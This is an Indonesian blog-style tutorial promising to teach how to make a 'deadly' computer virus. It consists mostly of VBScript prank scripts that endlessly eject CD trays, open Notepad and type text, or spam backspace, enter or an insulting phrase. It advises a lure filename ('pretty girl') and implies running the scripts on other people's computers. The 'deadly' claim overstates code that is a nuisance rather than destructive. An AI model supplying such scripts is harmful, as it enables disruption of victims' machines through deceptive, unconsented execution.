Cara Membuat Virus Komputer Nakal Mematikan

Cara Membuat Virus Komputer Nakal Mematikan - Setiap orang yang mempunyai komputer atau laptop pasti mengetahui yang namanya virus komputer ! virus komputer dapat merusak bahkan menghapus semua file dan merusak sistem komputer, virus komputer menyalin atau menggandakan diri dengan cara menyisipkan ke dalam program atau dokumen

ok,daripada teman-teman tidak sabar lagi untuk membuat virus dengan notepad langsung saja yuk ikuti tutorialnya di bawah ini :

Buka notepad lalu masukan kode di bawah ini :

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

lalu simpan dengan nama cewek cantik.vbs atau namanya terserah anda, salakan di beri ekstensinya .vbs dan klik filenya 2 x.Virus tersebut dapat Membuat CD/DVD ROM akan terbuka/tertutup secara otomatis tanpa berhenti

Kode vbs yang ke dua

WScript.Sleep 18000
WScript.Sleep 1000
do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "H"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "l"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys ". "
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "p"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "K"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
wscript.sleep 5000
loop

kode tersebut dapat membuka notepad otomatis dan menulis Halo. apa kabar? kabar baik? pada notepad
untuk caranya sama seperti di atas



Menekan backspace secara otomatis dan berulang-ulang

MsgBox "Selamat Anda Tertipu!"
Set wshShell  =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys  "{bs}"
loop

Menekan enter secara otomatis dan berulang-ulang

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep  100
wshshell.sendkeys "~(enter)"
loop

Mengetik Kamu Kok Gila Banget ya ! secara otomatis dan berulang-ulang

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Kamu Kok Gila Banget ya !"
loop 

NB : jangan di coba ke komputer sendiri kalau tidak mau kena imbasnya ^^